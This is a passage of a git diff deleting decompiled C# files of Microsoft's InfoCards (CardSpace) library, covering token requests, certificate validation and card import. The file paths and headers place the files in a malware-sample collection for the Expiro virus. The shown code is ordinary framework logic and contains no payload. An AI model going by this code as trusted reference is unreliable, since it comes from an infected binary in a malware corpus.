SecureConversationSecurityTokenParameters securityTokenParameters = (SecureConversationSecurityTokenParameters) stp; - BindingElementCollection bindingElements = new BindingElementCollection(); - if (securityTokenParameters.BootstrapSecurityBindingElement != null) - bindingElements.Add((BindingElement) securityTokenParameters.BootstrapSecurityBindingElement); - GetBrowserTokenRequest.CheckAndAssignIssuedTokenParameters((SecurityTokenParameters) GetBrowserTokenRequest.TryGetNextStsIssuedTokenParameters(bindingElements, ref disallowedStpDetected), issuedTokenParameters, ref disallowedStpDetected); - } - else - GetBrowserTokenRequest.CheckAndAssignIssuedTokenParameters(stp, issuedTokenParameters, ref disallowedStpDetected); - } - } - - private GetBrowserTokenRequest.CreateIssuedTokenClientCredentials CreateClientCredentials( - ServiceEndpoint svcEpr) - { - GetBrowserTokenRequest.CreateIssuedTokenClientCredentials clientCredentials = new GetBrowserTokenRequest.CreateIssuedTokenClientCredentials(this); - EndpointAddress endpointAddress = svcEpr.Address; - Binding binding = svcEpr.Binding; - X509Certificate2Collection certificate2Collection = new X509Certificate2Collection(); - bool disallowedStpDetected = false; - try - { - while (binding != null) - { - IssuedSecurityTokenParameters issuedTokenParameters = GetBrowserTokenRequest.TryGetNextStsIssuedTokenParameters(binding.CreateBindingElements(), ref disallowedStpDetected); - if (issuedTokenParameters != null) - { - if (disallowedStpDetected) - throw InfoCardTrace.ThrowHelperError((Exception) new UnsupportedPolicyOptionsException()); - if (!((EndpointAddress) null == issuedTokenParameters.IssuerAddress) && !((Uri) null == issuedTokenParameters.IssuerAddress.Uri)) - { - if (endpointAddress.Identity is X509CertificateEndpointIdentity identity) - { - certificate2Collection.AddRange(identity.Certificates); - certificate2Collection.Remove(identity.Certificates[0]); - bool chainTrustPassed = false; - InfoCardX509Validator.ValidateChainOrPeer(identity.Certificates[0], certificate2Collection, out chainTrustPassed); - clientCredentials.ServiceCertificate.ScopedCertificates.Add(endpointAddress.Uri, identity.Certificates[0]); - } - binding = issuedTokenParameters.IssuerBinding; - endpointAddress = issuedTokenParameters.IssuerAddress; - } - else - break; - } - else - break; - } - if (this.m_params.Issuer.LeafCertificate != null) - { - bool chainTrustPassed = false; - InfoCardX509Validator.ValidateChainOrPeer(this.m_params.Issuer.LeafCertificate, this.m_params.Issuer.SupportingCertificates, out chainTrustPassed); - clientCredentials.ServiceCertificate.DefaultCertificate = this.m_params.Issuer.LeafCertificate; - certificate2Collection.AddRange(this.m_params.Issuer.SupportingCertificates); - } - else - { - if (!(svcEpr.Address.Identity is X509CertificateEndpointIdentity identity)) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("InvalidIPSTSPolicy"))); - clientCredentials.ServiceCertificate.DefaultCertificate = identity.Certificates[0]; - certificate2Collection.AddRange(identity.Certificates); - certificate2Collection.Remove(identity.Certificates[0]); - } - InfoCardTrace.Assert(null != clientCredentials.ServiceCertificate.DefaultCertificate, "This is configured in both cases above - either via the incoming params or via the endpoint retrieved from mex"); - clientCredentials.ServiceCertificate.Authentication.CertificateValidationMode = X509CertificateValidationMode.Custom; - clientCredentials.ServiceCertificate.Authentication.CustomCertificateValidator = InfoCardX509Validator.Create(certificate2Collection); - } - catch (SecurityTokenValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("RecipientCertificateNotValid"), (Exception) ex)); - } - return clientCredentials; - } - - private void WriteRequestedTokenFrom(XmlReader reader, XmlWriter writer) - { - while (reader.Read()) - { - if (reader.IsStartElement(this.m_protocolProfile.WSTrust.RequestedSecurityToken, this.m_protocolProfile.WSTrust.Namespace)) - { - reader.Read(); - writer.WriteNode(reader, false); - return; - } - } - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("NoTokenReturned"))); - } - - private ServiceEndpointCollection GetServiceEndpointCollection( - Uri serviceUri, - Uri mexUri) - { - bool flag = false; - InfoCardMetadataExchangeClient mex = new InfoCardMetadataExchangeClient(); - mex.Proxy = this.UserProxy; - MetadataSet metadataSet = (MetadataSet) null; - mex.ResolveMetadataReferences = true; - mex.MaximumResolvedReferences = InfoCardConstants.MaximumMexChainLength; - EndpointAddress metadataAddress = new EndpointAddress(mexUri, new AddressHeader[0]); - try - { - this.ExecuteCancelable((ClientRequest.AsyncEntryCallback) (() => metadataSet = mex.GetMetadata(metadataAddress)), (ClientRequest.AsyncEntryCallback) (() => mex.Abort())); - flag = true; - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - throw; - } - if (!flag) - { - try - { - this.ExecuteCancelable((ClientRequest.AsyncEntryCallback) (() => metadataSet = mex.GetMetadata(mexUri, MetadataExchangeClientMode.HttpGet)), (ClientRequest.AsyncEntryCallback) (() => mex.Abort())); - flag = true; - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - throw; - } - } - if (!flag) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("EndpointNotFound"))); - WsdlImporter imp = new WsdlImporter(metadataSet); - imp.State.Add((object) "MetadataExchangeClientKey", (object) mex); - ServiceEndpointCollection serviceEndpoints = (ServiceEndpointCollection) null; - this.ExecuteCancelable((ClientRequest.AsyncEntryCallback) (() => serviceEndpoints = imp.ImportAllEndpoints()), (ClientRequest.AsyncEntryCallback) null); - return serviceEndpoints; - } - - private static BindingElementCollection FedChainUpdateProxyForHttpAndRestrictTransportBinding( - BindingElementCollection bindingElements, - IWebProxy proxy) - { - bindingElements = Utility.UpdateProxyForHttpAndRestrictTransportBinding(bindingElements, proxy, true); - bool disallowedStpDetected = false; - IssuedSecurityTokenParameters issuedTokenParameters = GetBrowserTokenRequest.TryGetNextStsIssuedTokenParameters(bindingElements, ref disallowedStpDetected); - if (issuedTokenParameters != null && (EndpointAddress) null != issuedTokenParameters.IssuerAddress && (Uri) null != issuedTokenParameters.IssuerAddress.Uri && issuedTokenParameters.IssuerBinding != null) - issuedTokenParameters.IssuerBinding = (Binding) new CustomBinding(GetBrowserTokenRequest.FedChainUpdateProxyForHttpAndRestrictTransportBinding(issuedTokenParameters.IssuerBinding.CreateBindingElements(), proxy)); - return bindingElements; - } - - private static Binding FedChainUpdateProxyAndRestrictTransportBindingWrapper( - Binding binding, - IWebProxy proxy) - { - return (Binding) new CustomBinding(GetBrowserTokenRequest.FedChainUpdateProxyForHttpAndRestrictTransportBinding(binding.CreateBindingElements(), proxy)); - } - - private SecurityToken CreateIssuedToken( - CardSpacePolicyElement[] policyElements, - SecurityTokenSerializer tokenSerializer) - { - WindowsImpersonationContext impersonationContext = this.RequestorIdentity.Impersonate(); - try - { - try - { - int index1 = policyElements.Length - 1; - InfoCardTrace.Assert(0 <= index1, "lastElementIndex should be non-negative"); - if (policyElements[index1].IsManagedIssuer) - --index1; - int length = index1; - if (0 < length) - { - InfoCardPolicy[] infoCardPolicyArray = new InfoCardPolicy[length]; - for (int index2 = 0; index2 < length; ++index2) - { - infoCardPolicyArray[index2] = PolicyFactory.CreatePolicyForIntermediateGetBrowserTokenRequest(policyElements[index2], (Uri) null, 0U, (RecipientIdentity) null); - infoCardPolicyArray[index2].Validate(); - } - } - InfoCardPolicy browserTokenRequest = PolicyFactory.CreatePolicyForGetBrowserTokenRequest(policyElements[index1], this.m_params.PrivacyUrl, this.m_params.PrivacyVersion, RecipientIdentity.CreateIdentity(this.m_params.Recipient.CreateEndpointAddress(), true), PolicyUsageContext.GetToken); - browserTokenRequest.Validate(); - this.Policy = browserTokenRequest; - base.OnProcess(); - if (this.ProcessingException != null) - throw InfoCardTrace.ThrowHelperError(this.ProcessingException); - SecurityKeyIdentifierClause internalTokenReference = tokenSerializer.ReadKeyIdentifierClause((XmlReader) Utility.CreateReaderWithQuotas(this.Token.InternalTokenReference)); - SecurityKeyIdentifierClause externalTokenReference = tokenSerializer.ReadKeyIdentifierClause((XmlReader) Utility.CreateReaderWithQuotas(this.Token.ExternalTokenReference)); - this.m_proofToken = this.Token.SymmetricProof != null ? new SelfIssuedAuthProofToken(new InMemorySymmetricSecurityKey(this.Token.SymmetricProof.Key), this.Token.ExpirationTime) : new SelfIssuedAuthProofToken(this.GetPrivateCryptography(), this.Token.ExpirationTime); - return (SecurityToken) new GenericXmlSecurityToken(this.Token.ProtectedToken, (SecurityToken) this.m_proofToken, this.Token.EffectiveTime, this.Token.ExpirationTime, internalTokenReference, externalTokenReference, (ReadOnlyCollection) null); - } - finally - { - impersonationContext.Undo(); - } - } - catch - { - throw; - } - } - - protected override void OnDisposeAsUser() - { - base.OnDisposeAsUser(); - if (this.m_proofToken == null) - return; - this.m_proofToken.Dispose(); - this.m_proofToken = (SelfIssuedAuthProofToken) null; - } - - private class CreateIssuedTokenClientCredentials : ClientCredentials - { - private GetBrowserTokenRequest request; - - public CreateIssuedTokenClientCredentials(GetBrowserTokenRequest request) - { - InfoCardTrace.ThrowInvalidArgumentConditional(request == null, nameof (request)); - this.request = request; - } - - protected internal CreateIssuedTokenClientCredentials( - GetBrowserTokenRequest.CreateIssuedTokenClientCredentials other) - : base((ClientCredentials) other) - { - this.request = other.request; - } - - protected override ClientCredentials CloneCore() => (ClientCredentials) new GetBrowserTokenRequest.CreateIssuedTokenClientCredentials(this); - - protected internal override SecurityToken GetInfoCardSecurityToken( - bool requiresInfoCard, - CardSpacePolicyElement[] chain, - SecurityTokenSerializer tokenSerializer) - { - return this.request.CreateIssuedToken(chain, tokenSerializer); - } - - public override void ApplyClientBehavior( - ServiceEndpoint serviceEndpoint, - ClientRuntime behavior) - { - base.ApplyClientBehavior(serviceEndpoint, behavior); - bool flag = false; - foreach (IInteractiveChannelInitializer channelInitializer in behavior.InteractiveChannelInitializers) - { - if (channelInitializer is InfocardInteractiveChannelInitializer) - { - flag = true; - break; - } - } - if (!flag) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("IdentityProviderRequestedUnsupportedAuthType"))); - } - } - - [ServiceContract] - internal interface ISts - { - [OperationContract(Action = "http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue", Name = "ProcessRequestSecurityTokenFeb2005", ProtectionLevel = ProtectionLevel.EncryptAndSign, ReplyAction = "http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue")] - Message ProcessRequestSecurityTokenFeb2005(Message rstMessage); - - [OperationContract(Action = "http://docs.oasis-open.org/ws-sx/ws-trust/200512/RST/Issue", Name = "ProcessRequestSecurityTokenWSTrust13", ProtectionLevel = ProtectionLevel.EncryptAndSign, ReplyAction = "http://docs.oasis-open.org/ws-sx/ws-trust/200512/RSTRC/IssueFinal")] - Message ProcessRequestSecurityTokenWSTrust13(Message rstMessage); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetCardDetailsRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetCardDetailsRequest.cs deleted file mode 100644 index 60978432..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetCardDetailsRequest.cs +++ /dev/null @@ -1,42 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetCardDetailsRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetCardDetailsRequest : UIAgentRequest - { - private InfoCard m_card; - private bool m_cardMatchesPolicyRequirements; - - public GetCardDetailsRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnInitializeAsSystem() => base.OnInitializeAsSystem(); - - protected override void OnMarshalInArgs() - { - Stream inArgs = this.InArgs; - this.m_card = new InfoCard(inArgs); - this.m_card.GetExtendedInformation().Deserialize(inArgs); - this.m_card.GetRPIdentityRequirement().Deserialize(inArgs); - this.m_card.GetClaims().Deserialize(inArgs); - } - - protected override void OnProcess() => this.m_cardMatchesPolicyRequirements = this.m_card.DoesCardMatchPolicySet(this.GetPolicy()); - - protected override void OnMarshalOutArgs() => new BinaryWriter(this.OutArgs, Encoding.Unicode).Write(this.m_cardMatchesPolicyRequirements); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetCertificateRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetCertificateRequest.cs deleted file mode 100644 index eb9a56c4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetCertificateRequest.cs +++ /dev/null @@ -1,40 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetCertificateRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Security.Cryptography.X509Certificates; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetCertificateRequest : UIAgentRequest - { - private string m_recipientIdentifier; - private X509Certificate2 m_certificate; - - public GetCertificateRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() => this.m_recipientIdentifier = Utility.DeserializeString(new BinaryReader(this.InArgs, Encoding.Unicode)); - - protected override void OnProcess() - { - this.m_certificate = this.ParentRequest.CertCacheFind(this.m_recipientIdentifier); - if (this.m_certificate == null) - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("NoCachedCertificateForRecipient"))); - } - - protected override void OnMarshalOutArgs() => Utility.SerializeBytes(new BinaryWriter(this.OutArgs, Encoding.Unicode), this.m_certificate.GetRawCertData()); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetCryptoTransformRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetCryptoTransformRequest.cs deleted file mode 100644 index 18cda29d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetCryptoTransformRequest.cs +++ /dev/null @@ -1,58 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetCryptoTransformRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Cryptography; -using System.Security.Principal; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetCryptoTransformRequest : ClientRequest - { - private int m_cryptoSession; - private CipherMode m_mode; - private PaddingMode m_padding; - private int m_feedbackSize; - private SymmetricCryptoSession.Direction m_direction; - private byte[] m_iv; - private TransformCryptoSession m_transformSession; - - public GetCryptoTransformRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - } - - protected override void OnMarshalInArgs() - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - this.m_cryptoSession = binaryReader.ReadInt32(); - this.m_mode = (CipherMode) binaryReader.ReadInt32(); - this.m_padding = (PaddingMode) binaryReader.ReadInt32(); - this.m_feedbackSize = binaryReader.ReadInt32(); - this.m_direction = (SymmetricCryptoSession.Direction) binaryReader.ReadInt32(); - this.m_iv = binaryReader.ReadBytes(binaryReader.ReadInt32()); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_feedbackSize, "feedbackSize"); - } - - protected override void OnProcess() => this.m_transformSession = ((SymmetricCryptoSession) CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User)).GetCryptoTransform(this.m_mode, this.m_padding, this.m_feedbackSize, this.m_direction, this.m_iv); - - protected override void OnMarshalOutArgs() - { - BinaryWriter bwriter = new BinaryWriter(this.OutArgs, Encoding.Unicode); - this.m_transformSession.Write(bwriter); - bwriter.Flush(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetFileNameResult.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetFileNameResult.cs deleted file mode 100644 index eab0eb7a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetFileNameResult.cs +++ /dev/null @@ -1,26 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetFileNameResult -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -namespace Microsoft.InfoCards -{ - internal class GetFileNameResult - { - private string m_fileName; - private byte[] m_fileContent; - - public string FileName - { - set => this.m_fileName = value; - get => this.m_fileName; - } - - public byte[] FileContent - { - set => this.m_fileContent = value; - get => this.m_fileContent; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetImportFileNameRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetImportFileNameRequest.cs deleted file mode 100644 index 6f8cada9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetImportFileNameRequest.cs +++ /dev/null @@ -1,44 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetImportFileNameRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetImportFileNameRequest : UIAgentRequest - { - private string m_filename = string.Empty; - - public GetImportFileNameRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - if (this.ParentRequest is ImportRequest) - { - this.m_filename = (this.ParentRequest as ImportRequest).ImportedFile; - InfoCardTrace.Assert(!string.IsNullOrEmpty(this.m_filename), "No file name provided for import"); - } - else - InfoCardTrace.Assert(false, "The parent of this request MUST be ImportRequest"); - } - - protected override void OnMarshalOutArgs() => Utility.SerializeString(new BinaryWriter(this.OutArgs, Encoding.Unicode), this.m_filename); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetImportedCardRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetImportedCardRequest.cs deleted file mode 100644 index 8f533499..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetImportedCardRequest.cs +++ /dev/null @@ -1,120 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetImportedCardRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Globalization; -using System.IO; -using System.Security.Cryptography.X509Certificates; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetImportedCardRequest : UIAgentRequest - { - private InfoCard m_card; - private Recipient m_issuer; - private string m_filename; - private string m_policyLink; - private InfoCardPolicy m_policy; - private GetImportedCardRequest.ImportCardMatchStatus m_matchFlag; - - public GetImportedCardRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - this.m_matchFlag = GetImportedCardRequest.ImportCardMatchStatus.MatchNone; - } - - protected override void OnInitializeAsSystem() - { - base.OnInitializeAsSystem(); - this.m_policy = this.GetPolicy(); - } - - protected override void OnMarshalInArgs() => this.m_filename = Utility.DeserializeString((BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode)); - - protected override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - InfoCardTrace.Assert(!string.IsNullOrEmpty(this.m_filename), "No file name provided for import"); - InfoCardXmlSerializer cardXmlSerializer = new InfoCardXmlSerializer(connection); - cardXmlSerializer.CheckSignature = true; - cardXmlSerializer.Deserialize(this.m_filename); - this.m_card = cardXmlSerializer.Card; - this.m_card.IsImported = true; - this.m_card.InstalledOn = DateTime.Now; - X509Certificate2 issuer = cardXmlSerializer.Issuer; - if (issuer == null || this.m_card == null || !this.m_card.IsComplete()) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - Recipient.RecipientCertParameters recipientParams; - string recipientIdHash = Recipient.CertGetRecipientIdHash(issuer, cardXmlSerializer.AdditionalIssuerCerts, cardXmlSerializer.IsIssuerChainTrusted, out recipientParams); - string organizationIdHash = Recipient.CertGetRecipientOrganizationIdHash(issuer, cardXmlSerializer.AdditionalIssuerCerts, cardXmlSerializer.IsIssuerChainTrusted); - this.ParentRequest.CertCacheAdd(recipientIdHash, issuer); - this.m_issuer = new Recipient(issuer, recipientIdHash, organizationIdHash, true, this.m_card.PrivacyPolicyVersion, recipientParams); - this.m_card.IssuerName = !this.m_issuer.IsOrganizationVerified() ? this.m_issuer.RecipientParameters.m_cn : this.m_issuer.RecipientParameters.m_organization; - this.m_policyLink = this.m_card.PrivacyPolicyLink; - DataRow singleRow = connection.GetSingleRow(QueryDetails.FullRow, new List() - { - new QueryParameter("ix_objecttype", new object[1] - { - (object) 1 - }), - new QueryParameter("ix_globalid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_card.Id.ToString()) - }) - }.ToArray()); - if (singleRow == null) - return; - using (MemoryStream memoryStream = new MemoryStream(singleRow.GetDataField())) - { - InfoCard card = new InfoCard((Stream) memoryStream); - this.m_matchFlag = (int) card.Epoch != (int) this.m_card.Epoch ? (card.Epoch >= this.m_card.Epoch ? GetImportedCardRequest.ImportCardMatchStatus.MatchNewerVersion : GetImportedCardRequest.ImportCardMatchStatus.MatchOlderVersion) : GetImportedCardRequest.ImportCardMatchStatus.MatchSameVersion; - this.m_card.CopyMetaData(card); - } - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - Stream outArgs = this.OutArgs; - if (this.m_card == null || this.m_issuer == null || !this.m_card.IsComplete()) - return; - StoreConnection connection = StoreConnection.GetConnection(); - try - { - this.m_card.AgentSerialize(outArgs, this.ParentRequest is GetTokenRequest, this.m_policy, connection, new CultureInfo(this.ParentRequest.UserLanguage)); - BinaryWriter writer = new BinaryWriter(outArgs, Encoding.Unicode); - this.m_issuer.Serialize(writer); - Utility.SerializeString(writer, this.m_policyLink); - writer.Write((byte) this.m_matchFlag); - } - finally - { - connection.Close(); - } - } - - public enum ImportCardMatchStatus : byte - { - MatchNone, - MatchSameVersion, - MatchNewerVersion, - MatchOlderVersion, - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetIsBrowserClientRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetIsBrowserClientRequest.cs deleted file mode 100644 index 668e2714..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetIsBrowserClientRequest.cs +++ /dev/null @@ -1,34 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetIsBrowserClientRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetIsBrowserClientRequest : UIAgentRequest - { - public GetIsBrowserClientRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - } - - protected override void OnMarshalOutArgs() => new BinaryWriter(this.OutArgs, Encoding.Unicode).Write(this.ParentRequest is GetBrowserTokenRequest); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetKeyedHashRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetKeyedHashRequest.cs deleted file mode 100644 index 5b711826..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetKeyedHashRequest.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetKeyedHashRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetKeyedHashRequest : ClientRequest - { - private int m_cryptoSession; - 